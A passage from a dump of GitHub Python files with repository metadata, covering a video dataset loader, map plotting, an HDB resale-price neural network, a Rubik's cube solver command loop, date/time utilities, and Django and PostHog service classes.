to left,\n # center, or right if width is larger than height, and top, middle,\n # or bottom if height is larger than width.\n spatial_sample_index = (\n self.spatial_temporal_idx[index]\n % self.cfg.TEST.NUM_SPATIAL_CROPS\n )\n min_scale, max_scale, crop_size = [\n self.cfg.DATA.TEST_CROP_SIZE] * 3\n # The testing is deterministic and no jitter should be performed.\n\n video_container = None\n try:\n video_container = container.get_video_container(\n self.video_paths[index]\n )\n except Exception as e:\n logger.info(\n \"Failed to load video from {} with error {}\".format(\n self.video_paths[index], e\n )\n )\n try:\n # Select a random video if the current video was not able to access.\n for i in range(self.num_tries):\n if video_container is None:\n index = random.randint(0, len(self.video_paths) - 1)\n continue\n\n # Decode video. Meta info is used to perform selective decoding.\n decoder_config = {\n 'index': spatial_sample_index,\n 'min_scale': min_scale,\n 'max_scale': max_scale,\n 'crop_size': crop_size,\n 'square_scale': self.cfg.DATA.SQUARE_SCALE,\n 'enable_flip': True if self.cfg.TASK in [1, 2] else False\n }\n\n frames = decoder.decode(\n video_container,\n self.cfg.DATA.SAMPLING_RATE,\n self.cfg.DATA.NUM_FRAMES,\n temporal_sample_index,\n self.cfg.TEST.NUM_ENSEMBLE_VIEWS,\n video_meta=self.video_meta[index],\n target_fps=30, \n config=decoder_config,\n )\n\n # If decoding failed (wrong format, video is too short, and etc),\n # select another video.\n if frames is None:\n index = random.randint(0, len(self.video_paths) - 1)\n continue\n\n label = torch.from_numpy(np.array(self.labels[index])).float()\n return frames, label, index\n except:\n raise RuntimeError(\n \"Failed to fetch video after {} retries.\".format(\n self.num_tries\n )\n )\n\n","repo_name":"YIN95/Impact-of-Trajectory-Generation-Methods","sub_path":"Imitation Learning Model/dataset/cater.py","file_name":"cater.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"8566040078","text":"from mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport warnings\nimport matplotlib.cbook\nfrom latlong2 import *\nwarnings.filterwarnings(\"ignore\",category=matplotlib.cbook.mplDeprecation)\n\nfig = plt.figure(num=None, figsize=(12, 8) )\nm = Basemap(projection='moll',lon_0=0,resolution='c') \nm.drawcoastlines()\nm.fillcontinents(color='tan',lake_color='lightblue')\n# draw parallels and meridians.\n\nm.drawmapboundary(fill_color='#A6CAE0', linewidth=0)\nm.fillcontinents(color='grey', alpha=0.7, lake_color='grey')\nm.drawcoastlines(linewidth=0.1, color=\"white\")\n\n# Map (long, lat) to (x, y) for plotting\ndef cityMap(city):\n lat = cityLatLong(city)[0]\n longt = cityLatLong(city)[1]\n city = city.split(' ', 1)[0]\n city = city.split('/',1)[0]\n city = city.split('-',1)[0]\n #print(lat,longt)\n x, y = m(longt, lat)\n plt.plot(x, y, 'ok', marker=\"o\", markersize=8, alpha=0.6, c=\"blue\", markeredgecolor=\"black\", markeredgewidth=1)\n plt.text(x, y, city, fontsize=14, color=\"white\");\n \n\nplt.show()","repo_name":"PanosChristopoulos/Sinialo","sub_path":"map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26222810025","text":"# ============================================================================\r\n# import libraries\r\n# ============================================================================\r\nprint(\"=====Import libraries=====\")\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\npd.set_option('display.max_columns', 20)\r\nimport tensorflow as tf\r\n\r\n# ============================================================================\r\n# prepare data\r\n# ============================================================================\r\nprint(\"=====Prepare data=====\")\r\n\r\ndf = pd.read_csv('resale-flat-prices-based-on-registration-date-from-jan-2017-onwards.csv')\r\n\r\n# convert data to numeric types which includes one hot encoding\r\ndf['months_past_2017_Jan'] = df['month'].apply(lambda x: (int(x.split(\"-\")[0]) - 2017) * 12 + int(x.split(\"-\")[1]))\r\ndf = pd.concat([df, pd.get_dummies(df['flat_type'], prefix='flat_type')], axis=1)\r\ndf = pd.concat([df, pd.get_dummies(df['town'], prefix='town')], axis=1)\r\ndf['storey'] = df['storey_range'].apply(lambda x: np.random.randint(low=int(x.split(\" \")[0]), high=int(x.split(\" \")[2])+1, size=1)[0])\r\ndf = pd.concat([df, pd.get_dummies(df['flat_model'], prefix='flat_model')], axis=1)\r\ndef lease_helper(x):\r\n lst = x.split(\" \")\r\n if len(lst) == 2:\r\n return int(lst[0]) * 12\r\n else:\r\n return int(lst[0]) * 12 + int(lst[2])\r\ndf['remaining_lease_months'] = df['remaining_lease'].apply(lease_helper)\r\n\r\n# plots various graph to look at relationship between features and label\r\nplt.scatter(df['floor_area_sqm'], df['resale_price'], alpha=0.75, s=0.6)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('floor_area_sqm')\r\nplt.savefig('floor_area_sqm.png')\r\nplt.clf()\r\n\r\nmonth_against_price = df.groupby('months_past_2017_Jan')['resale_price'].mean()\r\nplt.plot(month_against_price.index.values, month_against_price.values)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('months_past_2017_Jan')\r\nplt.savefig('months_past_2017_Jan.png')\r\nplt.clf()\r\n\r\nstorey_against_price = df.groupby('storey')['resale_price'].mean()\r\nplt.plot(storey_against_price.index.values, storey_against_price.values)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('storey')\r\nplt.savefig('storey.png')\r\nplt.clf()\r\n\r\nlease_months_against_price = df.groupby('remaining_lease_months')['resale_price'].mean()\r\nplt.plot(lease_months_against_price.index.values, lease_months_against_price.values)\r\nplt.ylabel('resale_price')\r\nplt.xlabel('remaining_lease_months')\r\nplt.savefig('remaining_lease_months.png')\r\nplt.clf()\r\n\r\nflat_type = df['flat_type'].unique()\r\nflat_type_against_price = []\r\nfor flat in flat_type:\r\n flat_type_against_price.append(df[df['flat_type'] == flat]['resale_price'].values)\r\nplt.figure(figsize=(10, 10))\r\nplt.boxplot(flat_type_against_price, labels=flat_type)\r\nplt.ylabel('resale_price')\r\nplt.xticks(rotation=75)\r\nplt.gcf().subplots_adjust(bottom=0.15)\r\nplt.savefig('flat_type.png')\r\nplt.clf()\r\n\r\ntowns = df['town'].unique()\r\ntown_against_price = []\r\nfor town in towns:\r\n town_against_price.append(df[df['town'] == town]['resale_price'].values)\r\nplt.figure(figsize=(20, 10))\r\nplt.boxplot(town_against_price, labels=towns)\r\nplt.ylabel('resale_price')\r\nplt.xticks(rotation=75)\r\nplt.gcf().subplots_adjust(bottom=0.15)\r\nplt.savefig('town.png')\r\nplt.clf()\r\n\r\nmodels = df['flat_model'].unique()\r\nmodels_against_price = []\r\nfor flat_model in models:\r\n models_against_price.append(df[df['flat_model'] == flat_model]['resale_price'].values)\r\nplt.figure(figsize=(20, 10))\r\nplt.boxplot(models_against_price, labels=models)\r\nplt.ylabel('resale_price')\r\nplt.xticks(rotation=75)\r\nplt.gcf().subplots_adjust(bottom=0.15)\r\nplt.savefig('flat_model.png')\r\nplt.clf()\r\n\r\ndf = df.drop(columns=['month', 'flat_type', 'town', 'block', 'street_name', 'storey_range', 'flat_model', 'lease_commence_date', 'remaining_lease'])\r\n\r\n# normalize features\r\nfor col in df.columns:\r\n d = df[col]\r\n max_d = d.max()\r\n min_d = d.min()\r\n if col == 'resale_price':\r\n resale_max = max_d\r\n resale_min = min_d\r\n if max_d and min_d == 0:\r\n continue\r\n else:\r\n df[col] = (df[col] - min_d) / (max_d - min_d)\r\n\r\n# split data into training and test data with ratio 9:1 respectively\r\ntrain_data = df.sample(frac=0.9, random_state=0)\r\ntest_data = df.drop(train_data.index)\r\n\r\nprint('training data shape:', train_data.shape)\r\nprint('test data shape:', test_data.shape)\r\n\r\n# split into features and label\r\nX_cols = df.columns[df.columns != 'resale_price']\r\nY_col = 'resale_price'\r\nprint('Features:', X_cols.values)\r\nprint('Label:', Y_col)\r\n\r\nX_train, Y_train = train_data[X_cols], train_data[Y_col]\r\nX_test, Y_test = test_data[X_cols], test_data[Y_col]\r\n\r\n# ============================================================================\r\n# train model\r\n# ============================================================================\r\nprint(\"=====Train model=====\")\r\n\r\ndef plot_loss(history, name):\r\n loss_train = history.history['loss']\r\n loss_val = history.history['val_loss']\r\n epochs = range(1, len(loss_train) + 1)\r\n plt.plot(epochs, loss_train, 'g', label='Training loss')\r\n plt.plot(epochs, loss_val, 'b', label='validation loss')\r\n plt.title('Training and Validation loss')\r\n plt.xlabel('Epochs')\r\n plt.ylabel('Loss')\r\n plt.legend()\r\n plt.savefig(name + '_loss.png')\r\n plt.clf()\r\n\r\n# linear regression model\r\nprint('linear model:')\r\ntry:\r\n linear_model = tf.keras.models.load_model('linear_model.h5')\r\nexcept:\r\n linear_model = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=1, kernel_regularizer=tf.keras.regularizers.l2(0.01))\r\n ])\r\n\r\n linear_model.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=0.0001),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = linear_model.fit(\r\n X_train,\r\n Y_train,\r\n epochs=100,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n plot_loss(history, 'linear_model')\r\n\r\n linear_model.save('linear_model.h5')\r\n\r\n# deep neural network model\r\nprint('deep neural network model:')\r\ntry:\r\n nnm = tf.keras.models.load_model('nnm.h5')\r\nexcept:\r\n nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=0.0001),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=100,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n plot_loss(history, 'neural_network_model')\r\n\r\n nnm.save('nnm.h5')\r\n\r\n# ============================================================================\r\n# optimize deep neural network model\r\n# ============================================================================\r\nprint(\"=====optimize model=====\")\r\n\r\n# looks for best learning rate for optimizer\r\ndata = {}\r\nfor rate in [0.000003, 0.00001, 0.00003, 0.0001, 0.0003, 0.001, 0.003]:\r\n nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(0.01)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=rate),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=50,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n data[rate] = history.history['val_loss'][-1]\r\n\r\nprint(data)\r\nbest_learning_rate = 0\r\nlowest_cost = min(data.values())\r\nfor k, v in data.items():\r\n if v == lowest_cost:\r\n best_learning_rate = k\r\nprint('best_learning_rate:', best_learning_rate) # 0.0003\r\n\r\n# looks for best lambda for regularizer\r\ndata = {}\r\nfor lambda_ in [0.0000001, 0.000001, 0.00001, 0.0001, 0.001, 0.01, 0.01, 0.1]:\r\n nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(lambda_)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(lambda_)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(lambda_)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=best_learning_rate),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=50,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n data[lambda_] = history.history['val_loss'][-1]\r\n\r\nprint(data)\r\nbest_lambda_ = 0\r\nlowest_cost = min(data.values())\r\nfor k, v in data.items():\r\n if v == lowest_cost:\r\n best_lambda_ = k\r\nprint('best_lambda_:', best_lambda_) # 0.00001\r\n\r\n# ============================================================================\r\n# Final fit and predict with test data\r\n# ============================================================================\r\nprint(\"=====Final fit and predict with test data=====\")\r\n\r\ntry:\r\n final_nnm = tf.keras.models.load_model('final_nnm.h5')\r\nexcept:\r\n best_learning_rate = 0.0003\r\n best_lambda_ = 0.0001\r\n final_nnm = tf.keras.Sequential([\r\n tf.keras.layers.Dense(units=32, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(best_lambda_)),\r\n tf.keras.layers.Dense(units=16, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(best_lambda_)),\r\n tf.keras.layers.Dense(units=8, activation='relu', kernel_regularizer=tf.keras.regularizers.l2(best_lambda_)),\r\n tf.keras.layers.Dense(units=1)\r\n ])\r\n\r\n final_nnm.compile(\r\n optimizer=tf.keras.optimizers.Adam(learning_rate=best_learning_rate),\r\n loss='mean_absolute_error'\r\n )\r\n\r\n history = final_nnm.fit(\r\n X_train,\r\n Y_train,\r\n epochs=100,\r\n verbose=2,\r\n validation_split=(1/8)\r\n )\r\n\r\n plot_loss(history, 'final_neural_network_model')\r\n\r\n final_nnm.save('final_nnm.h5')\r\n\r\ntest_predictions = final_nnm.predict(\r\n X_test,\r\n verbose=0\r\n).flatten()\r\n\r\nprint('Final cost:', final_nnm.evaluate(\r\n X_test,\r\n Y_test,\r\n verbose=0\r\n))\r\n\r\npred = test_predictions[:10] * (resale_max - resale_min) + resale_min\r\nact = Y_test[:10] * (resale_max - resale_min) + resale_min\r\npredictions = pd.DataFrame({\r\n 'predicted': pred,\r\n 'actual': act\r\n})\r\nprint(predictions)\r\n# predicted actual\r\n# 2 295602.06250 262000.0\r\n# 10 302733.93750 288500.0\r\n# 21 338846.15625 321000.0\r\n# 27 354275.84375 335000.0\r\n# 30 351532.12500 373000.0\r\n# 43 478019.40625 518000.0\r\n# 46 686999.00000 688000.0\r\n# 55 802243.06250 888000.0\r\n# 71 317393.68750 300000.0\r\n# 75 319095.18750 310000.0\r\n","repo_name":"OngMinXian/HDB-Resale-Price-Prediction-with-Machine-Learning","sub_path":"resale_price_ML.py","file_name":"resale_price_ML.py","file_ext":"py","file_size_in_byte":11280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72384925609","text":"import datajoint as dj\nimport os\n\nfrom ..architectures.training import Trainer\nfrom ..architectures.models import BaseModel\nfrom ..utils.data import key_hash\n\n\nclass Fit:\n _reg_path_table = None\n _data_table = None\n \n @property\n def definition(self):\n return \"\"\"\n -> {reg_path}\n -> {dataset}\n ---\n num_iterations : int unsigned # number of iterations\n val_loss : float # loss on validation set\n test_corr : float # correlation on test set\n \"\"\".format(reg_path=self._reg_path_table.__name__,\n dataset=self._data_table.__name__)\n\n def _make_tuples(self, key):\n raise NotImplementedError('To be implemented by child classes.')\n\n def get_hash(self, key):\n key = (self.key_source & key).fetch1(dj.key)\n return key_hash(key)\n\n def get_model(self, key):\n log_hash = self.get_hash(key)\n data = (self._data_table() & key).load_data()\n log_dir = os.path.join('checkpoints', self._data_table.database)\n base = BaseModel(data, log_dir=log_dir, log_hash=log_hash)\n model = self._reg_path_table().build_model(key, base)\n return model\n\n def load_model(self, key):\n model = self.get_model(key)\n model.base.tf_session.load()\n return model\n","repo_name":"aecker/cnn-sys-ident","sub_path":"cnn_sys_ident/database/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"53"}
+{"seq_id":"3804643174","text":"import time\nimport asyncio\nimport highfive\n\nfrom . import model\nfrom . import distribute\n\n\ncommands = dict()\n\n\ndef command(name):\n\n def register_command(f):\n commands[name] = f\n return f\n\n return register_command\n\n\n@command(\"show\")\nasync def show(cube, master):\n\n print()\n print(cube)\n\n\n@command(\"help\")\nasync def help(cube, master):\n\n print(\"\"\"\n### COMMANDS ###\n\nexit Exits the program immediately.\n\nhelp Shows the command list.\n\nshow Displays the cube in its current state.\n\nreset Resets the cube to a new, solved cube.\n\nshuffle Shuffles the cube a specified number of times from its current state.\n Providing a random seed makes the shuffle reproducible. Also prints\n the shuffle algorithm when finished.\n\nturn Performs a specified algorithm on the cube.\n\nsolve Performs a distributed solve on the cube from its current state to\n the start state. The solution algorithm is printed when found.\n\"\"\")\n\n\n@command(\"reset\")\nasync def reset(cube, master):\n\n return model.Cube()\n\n\n@command(\"shuffle\")\nasync def shuffle(cube, master):\n\n shuffle_depth = None\n while shuffle_depth is None:\n\n try:\n\n shuffle_depth = int(input(\"shuffle depth: \"))\n if shuffle_depth <= 0:\n shuffle_depth = None\n raise ValueError\n\n except ValueError:\n print(\"please enter a positive integer as the shuffle depth\")\n\n seed = input(\"random seed (optional): \")\n if seed == \"\":\n shuffle_algorithm = cube.shuffle(shuffle_depth)\n else:\n shuffle_algorithm = cube.shuffle(shuffle_depth, seed)\n\n print(\"shuffle algorithm: {}\".format(shuffle_algorithm))\n\n\n@command(\"turn\")\nasync def turn(cube, master):\n\n try:\n algorithm = model.Algorithm(input(\"algorithm: \"))\n\n except ValueError:\n print(\"invalid algorithm\")\n\n else:\n cube.apply_algorithm(algorithm)\n\n\n@command(\"solve\")\nasync def solve(cube, master):\n\n start_time = time.time()\n\n solution = await distribute.solve(cube, master)\n\n time_elapsed = int(time.time() - start_time)\n minutes_elapsed, seconds_elapsed = divmod(time_elapsed, 60)\n\n print(\"solution:\", solution)\n print(\"solve took {}m{}s\".format(minutes_elapsed, seconds_elapsed))\n\n\ndef run_command_loop(hostname, port):\n\n asyncio.get_event_loop().run_until_complete(command_loop(hostname, port))\n\n\nasync def command_loop(hostname, port):\n\n async with await highfive.start_master(\n host=hostname, port=port) as master:\n\n cube = model.Cube()\n\n print(\"type 'help' to view a list of commands\\n\")\n while True:\n\n command = input(\"> \")\n\n if command == \"exit\":\n break\n\n if command in commands:\n\n command_function = commands[command]\n\n new_cube = await command_function(cube, master)\n cube = new_cube if new_cube is not None else cube\n\n else:\n print(\"unknown command\")\n\n","repo_name":"abau171/cubetree","sub_path":"cubetree/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"234128163","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# 2018-2019 Fundamentos de Programação\n# Grupo 18\n# 44605 Cláudia Garcia Belém\n\n# Import project modules\nimport constants as C\n\n\n\ndef getDateFromString(date_entry):\n \"\"\"\n Converts a date string into integer variables representing the year, month and day.\n REQUIRES: date_entry is str, represents a date in the format \"yyyy-mm-dd\".\n\n ENSURES: year, month and day, all int and represent the yyyy, mm and dd, respectively.\n \"\"\"\n date_entry = date_entry.split(\"-\")\n\n year = int(date_entry[C.YEAR])\n month = int(date_entry[C.MONTH])\n day = int(date_entry[C.DAY])\n\n return year, month, day\n\n\ndef dateToString(date_tuple):\n \"\"\"\n Converts a date_tuple to a string.\n REQUIRES: a date_tuple in which the first element is year, int >= 0\n the second element is month, 0 < int <= 12\n the third element is day, 0 < day <= 30\n\n ENSURES: a str representing the year (y), month (m) and day (d) specified in the format \"yyyy-mm-dd\"\n \"\"\"\n\n year = date_tuple[C.YEAR]\n\n month = date_tuple[C.MONTH]\n\n day = date_tuple[C.DAY]\n\n if month < 10 and day < 10:\n month = \"0\" + str(month)\n day = \"0\" + str(day)\n elif month < 10:\n month = \"0\" + str(month)\n elif day < 10:\n day = \"0\" + str(day)\n\n return str(year) + \"-\" + str(month) + \"-\" + str(day)\n\n\ndef getTimeFromString(time_entry, delimiter=\":\"):\n \"\"\"\n Converts a time string into integer variables representing the hours and minutes.\n REQUIRES: time_entry is str, represents a time in the format \"hh:mm\".\n\n ENSURES: hour and minute are int and represent the hh and mm in the time entry.\n \"\"\"\n\n time = time_entry.split(delimiter)\n\n hour = int(time[C.HOUR])\n minute = int(time[C.MINUTE])\n\n return (hour, minute)\n\n\ndef timeToString(time_tuple):\n \"\"\"\n Converts a time_tuple to a string.\n REQUIRES: a time_tuple in which the first element is hour, 0 <= int < 24\n the second element is minute, 0 < int < 60\n\n ENSURES: a str representing the hour (hh) and minute (mm) specified in the format \"hh:mm\"\n \"\"\"\n\n hour = (time_tuple[C.HOUR])\n minute = (time_tuple[C.MINUTE])\n\n if 0 <= hour <= 9 and 0 <= minute <= 9:\n hour = \"0\" + str(hour)\n minute = \"0\" + str(minute)\n\n elif 0 <= hour <= 9:\n hour = \"0\" + str(hour)\n\n elif 0 <= minute <= 9:\n minute = \"0\" + str(minute)\n\n time_string = str(hour) + \":\" + str(minute)\n\n return time_string\n\n\ndef addPeriodToTime(time, period_in_hours, period_in_minutes, time_delimiter=\":\"):\n \"\"\"\n Adds period_in_hours and period_in_minutes to time.\n REQUIRES: time is str, represents time in the format \"hh:mm\".\n period_in_hours, is int >= 0\n period_in_minutes, is int >= 0\n time_delimiter is str and represents the delimiter between hh and mm in time.\n\n ENSURES: a str with the updated time (with the added periods) in the format \"hh:mm\"\n an int >= 0, days_to_add that represent the number of days to be added to a date.\n \"\"\"\n\n hour, minute = getTimeFromString(time, time_delimiter)\n\n summed_hours = hour + period_in_hours\n hour_to_minutes = summed_hours * C.MINUTES_PER_HOUR\n\n new_time = hour_to_minutes + minute + period_in_minutes\n\n minutes_to_hour = new_time // C.MINUTES_PER_HOUR\n minutes = new_time % C.MINUTES_PER_HOUR\n\n # default number of days to add\n days_to_add = 0\n\n if minutes_to_hour >= C.HOUR_PER_DAY:\n days_to_add = minutes_to_hour // C.HOUR_PER_DAY\n\n time_tuple = (minutes_to_hour, minutes)\n\n return timeToString(time_tuple), days_to_add\n\n\ndef addDaysToDate(date_string, number_of_days_to_add):\n \"\"\"\n Adds a number of days to a date.\n REQUIRES: date_string is a str, representing a date in the format \"yyyy-mm-dd\"\n number_of_days_to_add is int >= 0\n\n ENSURES: a str representing an updated date (as result of the addition of a specified\n number of days.\n\n >>> addDaysToDate(\"2018-11-1\", 1)\n '2018-11-02'\n >>> addDaysToDate(\"2018-11-30\", 30)\n '2018-12-30'\n >>> addDaysToDate(\"2018-11-30\", 29)\n '2018-12-29'\n >>> addDaysToDate(\"2018-11-30\", 1)\n '2018-12-01'\n >>> addDaysToDate(\"2018-11-29\", 1)\n '2019-11-30'\n >>> addDaysToDate(\"2018-11-29\", 722)\n '2020-12-01'\n >>> addDaysToDate(\"2018-04-30\", 0)\n '2018-04-30'\n >>> addDaysToDate(\"2018-10-30\", 60)\n '2018-12-30'\n \"\"\"\n year, month, day = getDateFromString(date_string)\n\n year_in_days = year * C.MONTHS_PER_YEAR * C.DAYS_PER_MONTH\n month_in_days = month * C.DAYS_PER_MONTH\n\n accumulated_days = day + month_in_days + year_in_days + number_of_days_to_add\n\n updated_year = accumulated_days // (C.DAYS_PER_MONTH * C.MONTHS_PER_YEAR)\n updated_month = (accumulated_days % (C.DAYS_PER_MONTH * C.MONTHS_PER_YEAR)) // (C.DAYS_PER_MONTH)\n updated_day = (accumulated_days % (C.DAYS_PER_MONTH * C.MONTHS_PER_YEAR)) % (C.DAYS_PER_MONTH)\n\n if updated_day == 0 and updated_month == 0:\n updated_day = C.DAYS_PER_MONTH\n updated_month = C.MONTHS_PER_YEAR - 1\n else:\n if updated_day == 0:\n updated_day = C.DAYS_PER_MONTH\n updated_month = updated_month - 1\n\n if updated_month == 0:\n updated_month = C.MONTHS_PER_YEAR\n updated_year = updated_year - 1\n\n date_tuple = (updated_year, updated_month, updated_day)\n\n return dateToString(date_tuple)\n\n\ndef intDateTimeToString(int_value):\n \"\"\"\n Receives an integer value and converts it into string.\n REQUIRES: int_value > 0 corresponding to a date or a time number.\n\n ENSURES: a st with the given number. If 0 <= int_value <= 9,\n returns a str that results of the concatenation of 0 (zero) and the number.\n \"\"\"\n\n str_value = str(int_value)\n if 0 <= int_value <= 9:\n str_value = \"0\" + str_value\n\n return str_value\n\n\ndef selectMostRecentDateTime(date1, time1, date2, time2):\n \"\"\"\n Compares two date/time pairs and retrieves the most recent pair.\n REQUIRES: two pairs of date-time, date1-time1 and date2-time2.\n date1 and date2, each a str representing date in the format \"yyyy-mm-dd\".\n time1 and time2, each a str representing time in the format \"hh:mm\"\n\n ENSURES: the date-time pair, each a str, that represents the most recent date and time.\n\n >>> selectMostRecentDateTime(\"2018-10-03\", \"08:00\", \"2018-10-03\", \"08:01\")\n ('2018-10-03', '08:01')\n\n >>> selectMostRecentDateTime(\"2018-10-03\", \"08:00\", \"2018-10-02\", \"08:00\")\n ('2018-10-03', '08:00')\n \"\"\"\n\n year1, month1, day1 = getDateFromString(date1)\n year2, month2, day2 = getDateFromString(date2)\n\n if (year1 == year2 and month1 == month2 and day1 == day2):\n # since the date is equal, we could also return date2\n return date1, selectMostRecentTime(time1, time2)\n\n elif (year1 > year2):\n return date1, time1\n\n elif (year1 < year2):\n return date2, time2\n\n elif (year1 == year2 and month1 > month2):\n return date1, time1\n\n elif (year1 == year2 and month1 < month2):\n return date2, time2\n\n elif (year1 == year2 and month1 == month2 and day1 > day2):\n return date1, time1\n\n elif (year1 == year2 and month1 == month2 and day1 < day2):\n return date2, time2\n\n\ndef selectMostRecentTime(time1, time2):\n \"\"\"\n Compare two times and retrieves the most recent.\n REQUIRES: time1 and time2, each a str in the format \"hh:mm\"\n\n ENSURES: the most recent time in the format \"hh:mm\"\n \"\"\"\n\n hour1, minute1 = getTimeFromString(time1)\n hour2, minute2 = getTimeFromString(time2)\n\n if (hour1 == hour2 and minute1 == minute2):\n return time1 # since they are equal, it could be time2 too.\n\n elif (hour1 > hour2):\n return time1\n\n elif (hour1 < hour2):\n return time2\n\n elif (hour1 == hour2 and minute1 > minute2):\n return time1\n else:\n return time2\n\n\ndef updateDateTime(date_str, time_str, period_in_hour, period_in_minute, delimiter=\":\"):\n \"\"\"\n Adds period_in_hour and period_in_minutes to time_str and updates the date_str if necessary.\n REQUIRES: date_str, a str representing a date in the format \"yyyy-mm-dd\"\n time_str, a str representing a time in the format \"hh:mm\"\n period_in_hour, an int >= 0\n period_in_minute, an int >= 0\n delimiter that separates hours from minutes in the time_str\n\n ENSURES: the return of updated date and time str in the format \"yyyy-mm-dd\" and \"hh:mm\", respectively.\n \"\"\"\n\n updated_time, number_of_days_to_add = addPeriodToTime(time_str, period_in_hour, period_in_minute, delimiter)\n\n updated_date = addDaysToDate(date_str, number_of_days_to_add)\n\n return updated_date, updated_time\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"Belemz/iCageDoree","sub_path":"cyberConcGroup18/dateTime.py","file_name":"dateTime.py","file_ext":"py","file_size_in_byte":9158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8825428644","text":"from api.agreements.constants.related_names import APPLICATION_WITNESS\nfrom api.agreements.models import ApplicantAgreementDocument, AgreementDocumentWitness\nfrom api.agreements.services.witness_email import WitnessEmailService\nfrom api.applications.models import Application\n\n\nclass WitnessDocumentEmailService:\n def __init__(self, application: Application):\n self.application = application\n\n def has_pending_documents_to_sign(self):\n return ApplicantAgreementDocument.objects.filter(application=self.application).exclude(completed=True).exists()\n\n def process(self):\n if self.has_pending_documents_to_sign():\n return\n if hasattr(self.application, APPLICATION_WITNESS):\n witness_documents = AgreementDocumentWitness.objects.filter(\n witness=self.application.application_witness,\n email_sent=False\n )\n for witness_document in witness_documents:\n WitnessEmailService().send_email(agreement_document_witness_id=witness_document.id)\n","repo_name":"tayyabsaleem7756/jobtest","sub_path":"backend/retail_market/api/agreements/services/witness_document_email.py","file_name":"witness_document_email.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39500647269","text":"from typing import Dict, List, Optional, Tuple, Union\n\nfrom ee.clickhouse.materialized_columns.columns import ColumnName\nfrom ee.clickhouse.queries.column_optimizer import EnterpriseColumnOptimizer\nfrom ee.clickhouse.queries.groups_join_query import GroupsJoinQuery\nfrom posthog.models.filters.filter import Filter\nfrom posthog.models.filters.path_filter import PathFilter\nfrom posthog.models.filters.properties_timeline_filter import PropertiesTimelineFilter\nfrom posthog.models.filters.retention_filter import RetentionFilter\nfrom posthog.models.filters.session_recordings_filter import SessionRecordingsFilter\nfrom posthog.models.filters.stickiness_filter import StickinessFilter\nfrom posthog.models.property import PropertyName\nfrom posthog.models.team import Team\nfrom posthog.queries.event_query.event_query import EventQuery\nfrom posthog.utils import PersonOnEventsMode\n\n\nclass EnterpriseEventQuery(EventQuery):\n _column_optimizer: EnterpriseColumnOptimizer\n\n def __init__(\n self,\n filter: Union[\n Filter,\n PathFilter,\n RetentionFilter,\n StickinessFilter,\n SessionRecordingsFilter,\n PropertiesTimelineFilter,\n ],\n team: Team,\n round_interval=False,\n should_join_distinct_ids=False,\n should_join_persons=False,\n # Extra events/person table columns to fetch since parent query needs them\n extra_fields: List[ColumnName] = [],\n extra_event_properties: List[PropertyName] = [],\n extra_person_fields: List[ColumnName] = [],\n override_aggregate_users_by_distinct_id: Optional[bool] = None,\n person_on_events_mode: PersonOnEventsMode = 